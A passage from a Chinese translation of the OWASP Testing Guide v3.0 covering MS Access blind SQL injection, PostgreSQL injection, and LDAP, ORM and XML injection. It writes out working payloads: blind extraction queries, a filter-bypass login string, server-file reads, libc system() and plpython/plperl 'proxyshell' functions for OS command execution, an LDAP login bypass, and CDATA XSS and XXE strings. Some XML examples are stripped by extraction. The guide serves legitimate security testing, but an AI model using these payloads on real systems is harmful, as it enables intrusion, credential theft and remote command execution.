• IIF: 用 于 if 构 造 语 句 。 例 如 这 个 语 句 :IIF(1=1, 'a', 'b') , 结 果 返 回 'a'<br />

• MID: 这 个 函 数 用 于 提 取 子 字 符 串 。 例 如 这 个 语 句 :mid('abc',1,1), 结 果 返 回 'a'<br />

• TOP: 这 个 函 数 允 许 你 指 定 按 序 返 回 最 多 多 少 条 记 录 的 结 果 -。 例 如 TOP 1 - 将 最 多 返 回 一 条 记 录 。<br />

• LAST: 这 个 函 数 用 来 选 择 所 有 行 的 最 后 一 行 。 例 如 下 面 这 个 查 询 SELECT last(*) FROM users 将 返 回 结 果 的 最<br />

后 一 行 。<br />

其 中 一 些 函 数 将 用 来 利 用 盲 SQL 注 入 。 这 在 下 一 段 将 会 讲 到 。 至 于 其 它 功 能 , 请 参 阅 参 考 资 料 。<br />

246


OWASP 测 试 指 南 v3.0<br />

盲 SQL 注 入 检 测<br />

盲 SQL 注 入 漏 洞 绝 不 是 你 所 见 过 最 常 见 的 漏 洞 类 型 。 一 般 来 说 , 您 可 以 在 没 有 使 用 union 查 询 的 参 数 中 找 到 一 个<br />

SQL 注 入 。 另 外 在 通 常 情 况 下 是 没 有 机 会 执 行 shell 命 令 或 读 / 写 文 件 的 。 你 所 能 做 的 是 推 断 你 查 询 的 结 果 。 对 于 我<br />

们 的 检 测 , 我 们 看 看 下 面 的 例 子 :<br />

http://www.example.com/index.php?myId=[sql]<br />

myId 参 数 用 于 以 下 查 询 :-<br />

SELECT * FROM orders WHERE [id]=$myId<br />

在 检 测 中 , 我 们 将 考 虑 myId 参 数 漏 洞 所 引 起 的 盲 SQL 注 入 。 我 们 想 要 提 取 表 格 users 的 内 容 , 特 别 是 列 username<br />

的 内 容 ( 通 过 错 误 信 息 和 其 它 技 术 我 们 已 经 知 道 如 何 获 取 属 性 的 名 字 ) 。 我 们 假 设 读 者 已 经 知 道 盲 SQL 注 入 攻 击 的<br />

理 论 , 所 以 我 们 直 接 看 一 些 例 子 。 一 个 典 型 的 用 于 推 断 第 10 行 的 用 户 名 的 第 一 个 字 符 的 查 询 是 :<br />

http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from<br />

%20users))='a',0,'ko')<br />

如 果 第 一 个 字 符 是 'a' , 此 查 询 将 返 回 0 ( 一 个 “true 的 回 应 ” ) , 否 则 将 返 回 'ko' 字 符 串 。 现 在 , 我 们 将 解 释 为 什 幺<br />

使 用 这 种 特 殊 的 查 询 。 首 先 要 指 出 的 是 , 使 用 IIF, MID 和 LAST 函 数 , 我 们 提 取 选 中 行 的 用 户 名 的 第 一 个 字 符 。 然 而<br />

原 来 的 查 询 返 回 了 一 组 记 录 而 不 只 是 一 个 记 录 , 所 以 我 们 不 能 直 接 使 用 此 方 法 。 我 们 首 先 必 须 只 选 择 一 列 。 可 以 使<br />

用 TOP 函 数 , 但 它 只 对 第 一 行 有 效 。 为 了 选 择 其 它 查 询 , 我 们 必 须 使 用 一 个 小 技 巧 。 要 推 断 出 第 10 行 的 用 户 名 。<br />

首 先 要 使 用 TOP 函 数 使 用 查 询 选 择 列 前 十 行 :<br />

SELECT TOP 10 username FROM users<br />

然 后 , 我 们 使 用 LAST 函 数 读 取 其 中 最 后 一 行 。 一 旦 我 们 只 有 一 行 并 且 这 行 就 是 我 们 要 找 的 , 我 们 可 以 使 用 IIF, MID<br />

和 LAST 函 数 推 断 用 户 名 的 值 。 着 重 说 明 一 下 IIF 函 数 的 使 用 会 有 些 意 思 。 在 我 们 的 例 子 中 我 们 使 用 IIF 函 数 返 回 一 个<br />

编 号 或 一 个 字 符 串 。 通 过 这 个 技 巧 , 我 们 可 以 分 辨 我 们 是 否 得 到 了 正 确 的 回 应 。 这 是 因 为 ID 是 数 值 类 型 , 所 以 如 果<br />

把 它 与 一 个 字 符 串 比 较 , 我 们 就 会 获 得 一 个 SQL 错 误 , 反 之 如 果 与 0 值 比 较 将 没 有 错 误 。 当 然 , 如 果 该 参 数 为 字 符<br />

串 类 型 , 我 们 可 以 使 用 不 同 的 值 。 例 如 , 我 们 可 以 有 以 下 查 询 :<br />

http://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20t<br />

op%2010%20username%20from%20users))='a','a','b')%00<br />

如 果 第 一 个 字 符 是 'a', 那 幺 总 是 返 回 true。 否 则 在 其 它 情 况 返 回 的 都 是 false。<br />

这 种 方 法 使 我 们 能 够 推 断 用 户 名 的 值 。 为 了 理 解 当 我 们 已 经 获 得 了 完 整 的 值 , 我 们 选 择 两 种 方 法 :<br />

1. 尝 试 所 有 可 打 印 的 值 ; 如 果 没 有 一 个 值 有 效 , 我 们 就 已 获 得 完 整 的 值 。<br />

2. 我 们 可 以 推 断 值 的 长 度 ( 如 果 它 是 一 个 字 符 串 值 , 我 们 可 以 使 用 LEN 函 数 ), 直 到 找 到 所 有 字 符 。<br />

247


小 技 巧<br />

有 时 一 些 过 滤 函 数 会 屏 蔽 我 们 的 操 作 。 下 面 是 一 些 绕 过 这 些 过 滤 器 的 小 技 巧 。<br />

另 一 些 分 隔 符<br />

某 些 过 滤 器 会 从 输 入 字 符 串 中 去 除 空 格 。 我 们 可 以 使 用 以 下 值 作 为 分 隔 符 绕 过 这 些 过 滤 器 , 而 不 是 空 格 :<br />

9 a c d 20 2b 2d 3d<br />

例 如 , 我 们 可 以 执 行 以 下 查 询 :<br />

http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271<br />

绕 过 一 个 假 设 的 登 录 表 单 。<br />

参 考<br />

白 皮 书<br />

• http://www.techonthenet.com/access/functions/index_alpha.php<br />

• http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html<br />

•<br />

•<br />

4.8.5.5 检 测 POSTGRESQL<br />

要 点<br />

本 节 将 讨 论 PostgreSQL 的 SQL 注 入 技 巧 。 请 了 解 下 面 的 特 征 :<br />

• PHP 连 接 器 允 许 使 用 ; 作 为 语 句 分 隔 符 执 行 多 个 语 句<br />

• 通 过 附 加 注 释 字 符 -- 可 以 将 SQL 语 句 截 断<br />

• 在 SELECT 语 句 中 使 用 LIMIT 和 OFFSET 可 以 得 到 查 询 产 生 的 结 果 集 中 的 部 分 结 果 。<br />

248


OWASP 测 试 指 南 v3.0<br />

在 这 一 节 中 , 我 们 假 设 http://www.example.com/news.php?id=1 将 受 到 SQL 注 入 攻 击 。<br />

概 述<br />

确 定 PostgreSQL<br />

当 发 现 SQL 注 入 时 , 你 需 要 仔 细 确 认 后 端 数 据 库 引 擎 。 通 过 使 用 :: 类 型 说 明 运 算 符 可 以 确 认 该 后 端 数 据 库 引 擎 是 否<br />

是 PostgreSQL 。<br />

例 如 :<br />

http://www.example.com/store.php?id=1 AND 1::int=1<br />

version() 函 数 可 以 用 来 抓 取 PostgreSQL 版 本 号 。 它 同 样 可 以 显 示 底 层 操 作 系 统 类 型 和 版 本 。<br />

例 如 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--<br />

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />

盲 注 入<br />

对 于 盲 注 入 攻 击 , 你 需 要 考 虑 下 面 的 内 置 函 数 :<br />

• 字 符 串 长 度<br />

LENGTH(str)<br />

• 从 给 定 字 符 串 中 获 取 子 字 符 串<br />

SUBSTR(str,index,offset)<br />

• 没 有 单 引 号 的 字 符 串 表 达<br />

CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)<br />

从 8.2 开 始 , PostgreSQL 引 入 了 内 置 函 数 pg_sleep(n) 使 当 前 会 话 进 程 休 眠 N 秒 。<br />

在 之 前 的 版 本 中 , 你 可 以 通 过 使 用 libc 轻 易 创 建 自 定 义 的 pg_sleep(n):<br />

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />

单 引 号 转 义<br />

通 过 使 用 chr() 函 数 对 单 引 号 进 行 编 码 可 以 防 止 单 引 号 转 义<br />

* chr(n): 返 回 字 符 , 其 ASCII 值 对 应 数 字 n<br />

249


* ascii(n): 返 回 对 应 字 符 n 的 ASCII 值<br />

例 如 你 想 编 码 字 符 串 'root':<br />

select ascii('r')<br />

114<br />

select ascii('o')<br />

111<br />

select ascii('t')<br />

116<br />

我 们 可 以 将 'root' 编 码 为 :<br />

chr(114)||chr(111)||chr(111)||chr(116)<br />

例 如 :<br />

http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--<br />

攻 击 步 骤<br />

当 前 用 户<br />

使 用 下 列 SQL SELECT 语 句 可 以 检 索 到 当 前 用 户 身 份 。<br />

SELECT user<br />

SELECT current_user<br />

SELECT session_user<br />

SELECT usename FROM pg_user<br />

SELECT getpgusername()<br />

Examples:<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--<br />

当 前 数 据 库<br />

内 置 函 数 current_database() 返 回 当 前 数 据 库 名 称 。<br />

Example:<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--<br />

从 文 件 中 读 取<br />

250


OWASP 测 试 指 南 v3.0<br />

ProstgreSQL 提 供 两 种 方 式 访 问 本 地 文 件 :<br />

• COPY 语 句<br />

• pg_read_file() 内 部 函 数 ( 起 始 于 PostgreSQL 8.1)<br />

-COPY:<br />

该 操 作 符 在 文 件 和 表 格 之 间 复 制 数 据 。PostgreSQL 引 擎 作 为 postgres 用 户 访 问 本 地 文 件 系 统 。<br />

例 如 :<br />

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--<br />

/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--<br />

通 过 使 用 UNION 查 询 语 句 的 SQL 注 入 来 检 索 数 据 :<br />

• 检 索 之 前 使 用 COPY 语 句 添 加 到 file_store 中 的 行 数<br />

• 使 用 UNION SQL 注 入 一 次 检 索 一 行<br />

例 如 :<br />

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--<br />

...<br />

...<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--<br />

pg_read_file():<br />

PostgreSQL 8.1 引 入 了 此 函 数 。 它 允 许 用 户 读 取 位 于 DBMS 内 部 数 据 目 录 中 的 任 意 文 件 。<br />

例 如 :<br />

SELECT pg_read_file('server.key',0,1000);<br />

写 入 文 件<br />

通 过 反 向 使 用 COPY 语 句 , 我 们 能 以 postgres 用 户 权 限 写 入 本 地 文 件 系 统<br />

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--<br />

Shell 注 入<br />

251


PostgreSQL 通 过 使 用 动 态 库 和 python、perl 和 tcl 等 脚 本 语 言 提 供 一 种 机 制 增 加 自 定 义 函 数 。<br />

动 态 库<br />

PostgreSQL 8.1 之 前 可 以 添 加 与 libc 链 接 的 自 定 义 函 数 :<br />

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />

由 于 系 统 执 行 结 果 返 回 的 是 int, 我 们 如 何 能 从 系 统 stdout 中 获 取 结 果 呢 ?<br />

下 面 是 一 些 小 技 巧 :<br />

• 创 建 stdout 表 格<br />

CREATE TABLE stdout(id serial, system_out text)<br />

• 执 行 一 条 shell 命 令 , 把 stdout 进 行 复 位 向<br />

SELECT system('uname -a > /tmp/test')<br />

• 使 用 COPY 语 句 把 之 前 命 令 的 输 出 送 入 stdout 表 中<br />

COPY stdout(system_out) FROM '/tmp/test'<br />

• 从 stdout 表 中 检 索 输 出<br />

SELECT system_out FROM stdout<br />

例 如 :<br />

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --<br />

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />

STRICT --<br />

/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />

plpython<br />

PL/Python 允 许 用 户 在 python 中 编 码 PostgreSQL 函 数 。 这 是 不 受 信 任 的 , 因 此 没 有 办 法 限 制 用 户 哪 些 能 做 。 它 不 是<br />

默 认 安 装 的 , 但 是 通 过 CREATELANG 可 以 在 指 定 数 据 库 中 启 用 。<br />

• 检 测 在 数 据 库 中 是 否 可 以 使 用 PL/Python:<br />

SELECT count(*) FROM pg_language WHERE lanname='plpythonu'<br />

252


OWASP 测 试 指 南 v3.0<br />

• 如 果 不 能 , 则 尝 试 启 用 :<br />

CREATE LANGUAGE plpythonu<br />

• 如 果 上 述 任 一 种 方 法 成 功 了 , 那 幺 就 能 创 建 proxyshell 函 数 :<br />

CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu<br />

• 现 在 可 以 玩 了 :<br />

例 如 :<br />

SELECT proxyshell(os command);<br />

• 创 建 一 个 proxyshell 函 数 :<br />

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE<br />

plpythonu;--<br />

• 运 行 OS 命 令 :<br />

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--<br />

plperl<br />

Plperl 允 许 我 们 在 perl 中 编 码 PostgreSQL 函 数 。 通 常 , 它 作 为 信 任 语 言 安 装 , 用 于 禁 止 运 行 时 执 行 与 底 层 操 作 系 统<br />

交 互 的 操 作 , 例 如 open 操 作 。 这 样 做 就 不 能 获 得 OS 级 别 的 访 问 。 为 了 成 功 注 入 proxyshell 那 样 的 函 数 , 我 们 需 要<br />

使 用 用 户 postgres 来 安 装 不 受 信 任 的 版 本 , 以 避 免 所 谓 的 - 应 用 程 序 标 志 位 受 到 信 任 / 不 受 信 任 的 操 作 过 滤 。<br />

• 确 认 是 否 启 用 了 不 受 信 任 的 PL/perl:<br />

SELECT count(*) FROM pg_language WHERE lanname='plperlu'<br />

• 如 果 没 有 , 假 设 系 统 管 理 员 已 经 安 装 了 plperl 包 , 尝 试 :<br />

CREATE LANGUAGE plperlu<br />

• 如 果 上 述 任 一 种 方 法 成 功 了 , 那 幺 就 创 建 一 个 proxyshell 函 数 :<br />

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu<br />

• 现 在 可 以 玩 了 :<br />

例 如 :<br />

SELECT proxyshell(os command);<br />

253


• 创 建 一 个 proxyshell 函 数 :<br />

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;<br />

• 运 行 OS 命 令 :<br />

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--<br />

参 考<br />

• OWASP : "Testing for SQL Injection"<br />

• Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/<br />

• PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

4.8.6 LDAP 注 入 (OWASP-DV-006)<br />

摘 要<br />

LDAP 是 轻 量 级 目 录 访 问 协 议 (Lightweight Directory Access Protocol) 的 首 字 母 缩 略 词 。 它 是 一 种 存 储 关 于 用 户 、 主<br />

机 和 许 多 其 他 对 象 的 信 息 的 规 范 。 LDAP 注 入 是 对 服 务 器 端 的 攻 击 , 可 能 导 致 泄 露 、 修 改 或 插 入 LDAP 结 构 中 所 代 表<br />

的 用 户 和 主 机 的 敏 感 信 息 。<br />

通 过 操 控 传 输 给 内 部 的 查 询 、 插 入 和 修 改 函 数 的 输 入 参 数 可 以 实 现 这 一 点 。<br />

问 题 描 述<br />

一 个 web 应 用 可 以 使 用 LDAP 让 用 户 使 用 自 己 的 凭 证 登 录 或 在 企 业 结 构 内 部 搜 索 其 它 用 户 信 息 。<br />

LDAP 注 入 的 主 要 概 念 是 在 执 行 流 程 中 发 生 LDAP 查 询 时 , 可 能 通 过 使 用 LDAP 查 询 过 滤 元 字 符 欺 骗 存 在 漏 洞 的 web<br />

应 用 程 序 。<br />

Rfc2254 定 义 了 一 个 语 法 , 关 于 如 何 在 LDAPv3 上 建 立 一 个 搜 索 过 滤 器 , 并 扩 展 至 Rfc1960 ( LDAPv2 ) 。<br />

LDAP 搜 索 过 滤 器 是 用 波 兰 表 示 法 建 立 的 , 也 被 称 为 前 缀 表 示 法 。<br />

这 意 味 着 , 搜 索 过 滤 器 中 的 伪 代 码 条 件 :<br />

find("cn=John & userPassword=mypass")<br />

254


OWASP 测 试 指 南 v3.0<br />

会 产 生 :<br />

find("(&(cn=John)(userPassword=mypass))")<br />

通 过 使 用 下 列 元 字 符 可 以 应 用 LDAP 搜 索 过 滤 器 上 的 布 尔 条 件 和 组 群 :<br />

元 字 符 含 义<br />

&<br />

逻 辑 与<br />

| 逻 辑 或 -<br />

! 逻 辑 非 -<br />

= 相 等 于 -<br />

~= 近 似 于<br />

>= 大 于 -<br />


searchfilter="(cn="+user+")"<br />

实 例 化 成 - 下 面 的 HTTP 请 求 :<br />

http://www.example.com/ldapsearch?user=John<br />

如 果 'John' 的 值 通 过 发 送 请 求 替 换 为 一 个 '*':<br />

http://www.example.com/ldapsearch?user=*<br />

该 过 滤 器 将 如 下 所 示 :<br />

searchfilter="(cn=*)"<br />

这 意 味 着 所 有 含 有 ’cn’ 属 性 的 对 象 , 因 为 其 ’cn’ 属 性 可 以 是 任 何 东 西 。<br />

如 果 该 应 用 程 序 对 LDAP 注 入 存 在 漏 洞 , 并 依 赖 于 所 连 接 的 LDAP 的 用 户 权 限 和 应 用 执 行 流 程 , 它 会 显 示 某 些 或 所 有<br />

用 户 的 属 性 。<br />

检 测 者 可 以 尝 试 插 入 '('、 ' | ' 、 '&' 、 ' * ' 和 其 他 字 符 的 错 误 做 法 查 看 应 用 程 序 的 错 误 。<br />

例 2. 登 录<br />

如 果 Web 应 用 程 序 使 用 一 个 存 在 漏 洞 的 登 录 页 面 , 此 页 面 通 过 LDAP 查 询 来 验 证 用 户 凭 证 , 那 幺 就 可 能 通 过 注 入 一 个 值 永 远 为<br />

true 的 LDAP 查 询 ( 与 SQL 和 XPATH 注 入 相 似 ) 绕 过 检 查 用 户 名 / 密 码 检 查 。<br />

假 设 Web 应 用 程 序 使 用 过 滤 器 来 匹 配 LDAP 用 户 和 密 码<br />

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";<br />

通 过 使 用 下 面 的 值 :<br />

user=*)(uid=*))(|(uid=*<br />

pass=password<br />

过 滤 器 搜 索 结 果 如 下 :<br />

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";<br />

which is correct and always true. This way the tester will gain logged-in status as the first user in LDAP tree<br />

该 结 果 正 确 并 且 值 总 是 true 的 。 通 过 这 种 方 法 , 检 测 人 员 将 作 为 LDAP 树 型 结 构 中 的 第 一 个 用 户 获 取 已 登 录 的 状<br />

态 。<br />

256


OWASP 测 试 指 南 v3.0<br />

参 考<br />

白 皮 书<br />

• Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf<br />

• RFC 1960: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt<br />

• Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm<br />

• IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html<br />

工 具<br />

• Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php<br />

4.8.7 ORM 注 入 (OWASP-DV-007)<br />

概 述<br />

ORM 注 入 是 使 用 SQL 注 入 对 ORM 生 成 的 数 据 访 问 对 象 模 型 进 行 的 一 种 攻 击 。 从 检 测 人 员 角 度 来 看 , 此 攻 击 与 SQL<br />

注 入 攻 击 在 实 际 上 是 相 同 的 。 然 而 , 注 入 漏 洞 存 在 于 ORM 工 具 所 产 生 的 代 码 中 。<br />

问 题 描 述<br />

ORM 是 关 系 映 射 对 象 (Object Relational Mapping) 工 具 。 它 用 于 加 速 web 应 用 程 序 等 软 件 应 用 程 序 的 数 据 访 问 层<br />

的 面 向 对 象 开 发 。 使 用 ORM 工 具 的 好 处 包 括 传 递 给 相 关 数 据 库 的 快 速 产 生 的 对 象 层 、 针 对 这 些 对 象 的 标 准 化 代 码<br />

模 板 和 保 护 免 受 SQL 注 入 攻 击 的 一 组 安 全 函 数 。ORM 生 成 的 对 象 可 以 使 用 SQL 或 在 某 些 情 况 下 , 使 用 SQL 变 种 ,<br />

在 数 据 库 进 行 CRUD ( 创 建 Create, 读 取 Read, 更 新 Update, 删 除 Delete) 操 作 。 然 而 如 果 方 法 调 用 可 以 接 受 未 经 清<br />

理 的 输 入 参 数 , 那 幺 使 用 ORM 生 成 对 象 的 web 应 用 程 序 可 能 存 在 SQL 注 入 攻 击 漏 洞 。<br />

ORM 工 具 包 括 Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP 以 及 其 它 。<br />

关 于 ORM 工 具 较 全 面 的 名 单 , 参 见 : http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software<br />

黑 盒 检 测 实 例<br />

ORM 注 入 漏 洞 的 黑 盒 检 测 与 SQL 注 入 检 测 是 相 同 的 ( 参 见 SQL 注 入 检 测 ) 。 在 许 多 情 况 下 , 在 ORM 层 存 在 弱 点 是 由<br />

于 定 制 代 码 没 有 适 当 验 证 输 入 参 数 。 多 数 ORM 软 件 提 供 安 全 函 数 , 对 用 户 输 入 进 行 转 义 。 然 而 , 如 果 没 有 使 用 这<br />

些 函 数 , 同 时 开 发 商 使 用 自 定 义 函 数 接 受 用 户 的 输 入 , 那 幺 就 可 能 执 行 SQL 注 入 的 攻 击 。<br />

257


灰 盒 检 测 实 例<br />

如 果 检 测 人 员 已 经 获 得 Web 应 用 程 序 的 源 代 码 , 或 可 以 发 现 ORM 工 具 的 漏 洞 并 检 测 使 用 该 工 具 的 web 应 用 程 序 ,<br />

那 幺 攻 击 该 应 用 程 序 就 极 可 能 成 功 。 在 代 码 中 寻 找 的 模 板 包 括 :<br />

输 入 参 数 用 于 拼 接 SQL 字 符 串 的 ; 以 下 案 例 使 用 ActiveRecord 的 Ruby on Rails( 尽 管 任 何 ORM 可 能 存 在 漏 洞 )<br />

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"<br />

只 需 发 送 "' OR 1--" 到 可 以 输 入 订 单 日 期 的 表 单 中 , 就 能 获 得 攻 击 结 果 。<br />

参 考<br />

白 皮 书<br />

• References from Testing for SQL Injection are applicable to ORM Injection -<br />

http://www.owasp.org/index.php/Testing_for_SQL_Injection#References<br />

• Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping<br />

• OWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection<br />

工 具<br />

• Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43<br />

• Hibernate http://www.hibernate.org<br />

• NHibernate http://www.nhibernate.org<br />

• Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References<br />

4.8.8 XML 注 入 (OWASP-DV-008)<br />

概 述<br />

XML 注 入 检 测 是 : 当 我 们 将 XML 文 件 注 入 到 应 用 程 序 时 , 如 果 XML 分 析 器 没 有 进 行 适 当 的 数 据 验 证 , 那 幺 该 检 测 结<br />

果 就 是 呈 阳 性 ( 表 示 “ 软 件 有 缺 陷 ”)。<br />

问 题 的 简 单 描 述<br />

在 这 个 部 分 , 我 们 描 述 一 个 XML 注 入 实 例 : 首 先 我 们 定 义 了 一 个 XML 样 式 的 通 信 并 演 示 它 如 何 运 作 ; 然 后 描 述 设<br />

法 插 入 XML 元 字 符 的 发 现 方 法 。 一 旦 第 一 步 成 功 , 检 测 人 员 将 得 到 有 关 于 XML 结 构 的 信 息 。 这 样 就 可 能 插 入 XML<br />

数 据 何 标 记 (XML 标 记 注 入 )。<br />

258


OWASP 测 试 指 南 v3.0<br />

黑 盒 检 测 实 例<br />

假 设 有 一 个 使 用 XML 样 式 通 信 进 行 用 户 注 册 的 Web 应 用 程 序 , 通 过 在 xmlDb 文 件 中 创 建 和 增 加 一 个 新 的 节<br />

点 可 以 实 现 此 功 能 。 假 设 xmlDB 文 件 如 下 所 示 :<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

当 用 户 自 行 填 写 HTML 表 格 注 册 后 , 应 用 程 序 将 按 照 标 准 请 求 接 收 用 户 数 据 。 为 了 简 便 起 见 我 们 假 设 数 据 将 以 HTTP<br />

GET 请 求 的 形 式 发 送 。<br />

例 如 , 下 面 的 值 :<br />

Username: tony<br />

Password: Un6R34kb!e<br />

E-mail: s4tan@hell.com<br />

将 产 生 以 下 请 求<br />

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com<br />

发 送 到 应 用 程 序 , 其 后 将 建 立 下 列 节 点 :<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

这 将 增 加 到 xmlDB:<br />

<br />

259


<br />

<br />

<br />

<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

发 现 漏 洞<br />

为 了 检 测 应 用 程 序 是 否 存 在 XML 注 入 漏 洞 , 第 一 步 包 括 试 图 插 入 XML 元 字 符 。<br />

XML 元 字 符 的 清 单 是 :<br />

单 引 号 : ' —— 当 没 有 过 滤 该 字 符 时 , 如 果 注 入 值 是 标 记 中 属 性 值 的 一 部 分 , 它 可 能 在 XML 解 析 时 产 生 一 个 异 常 情<br />

况 。 例 如 , 假 设 下 面 属 性 :<br />

<br />

如 果 有 这 样 一 个 实 例 :<br />

inputValue = foo'<br />

然 后 插 入 属 性 值 :<br />


OWASP 测 试 指 南 v3.0<br />

$inputValue = foo"<br />

替 换 后 就 变 成 :<br />


是 有 效 的 形 成 , 体 现 了 “ < ' ASCII 字 符 。<br />

如 果 '&' 本 身 没 有 使 用 &amp 编 码 , 它 可 用 于 检 测 XML 注 入 。<br />

事 实 上 , 如 果 提 供 类 似 下 面 的 输 入 :<br />

Username = &foo<br />

将 创 建 一 个 新 的 节 点 :<br />

<br />

&foo<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

<br />

但 像 &foo 这 种 没 有 以 ';' 结 尾 , 而 且 也 没 有 &foo; 这 样 实 体 的 定 义 ,XML 就 是 无 效 的 。<br />

CDATA 开 始 / 结 束 标 记 : <br />

]]><br />

<br />

所 以 '' 将 不 会 被 解 析 , 并 将 被 看 作 是 一 个 文 本 数 值 。<br />

如 果 一 个 节 点 按 照 以 下 方 式 创 建 :<br />

<br />

检 测 人 员 可 以 尝 试 注 入 关 闭 的 CDATA 序 列 ']]>' 以 便 测 试 无 效 的 XML 。<br />

userName = ]]><br />

这 将 变 成 :<br />

]]><br />

这 不 是 有 效 的 XML 表 示 。<br />

外 部 实 体<br />

262


OWASP 测 试 指 南 v3.0<br />

另 一 个 测 试 与 CDATA 标 记 有 关 。 当 XML 文 件 被 解 析 后 将 去 除 CDATA 的 值 。 因 此 如 果 标 记 内 容 显 示 在 HTML 页 面<br />

中 , 就 可 能 增 加 脚 本 。 假 设 有 一 个 节 点 , 其 中 的 文 本 将 显 示 给 用 户 。 如 果 该 文 本 可 以 作 如 下 修 改 :<br />

<br />

$HTMLCode<br />

<br />

这 就 存 在 可 能 通 过 插 入 使 用 CDATA 标 记 的 HTML 文 本 来 避 免 输 入 过 滤 器 的 检 查 。 例 如 插 入 以 下 值 :<br />

$HTMLCode = script]]>alert('xss')/script]]><br />

我 们 将 获 得 以 下 节 点 :<br />

<br />

script]]>alert('xss')/script]]><br />

<br />

在 分 析 阶 段 将 去 除 CDATA 标 记 , 并 将 在 HTML 中 插 入 下 列 值 :<br />

alert('XSS')<br />

在 这 种 情 况 中 , 应 用 将 被 暴 露 在 XSS 弱 点 中 。 因 此 我 们 可 以 插 入 一 些 代 码 在 CDATA 标 记 中 以 避 免 输 入 检 验 过 滤 器<br />

的 检 查 。<br />

实 体 : 使 用 DTD 能 够 定 义 一 个 实 体 。 例 如 : 像 实 体 名 称 是 &. 那 样 的 实 体 。 同 样 也 可 以 指 定 一 个 URL 作 为 实 体 : 通 过<br />

这 种 方 式 , 您 通 过 XML 外 部 实 体 ( XEE) 创 造 了 一 种 可 能 的 漏 洞 。 所 以 , 最 后 检 测 一 下 以 下 字 符 串 的 样 式 :<br />

<br />

]>&xxe;<br />

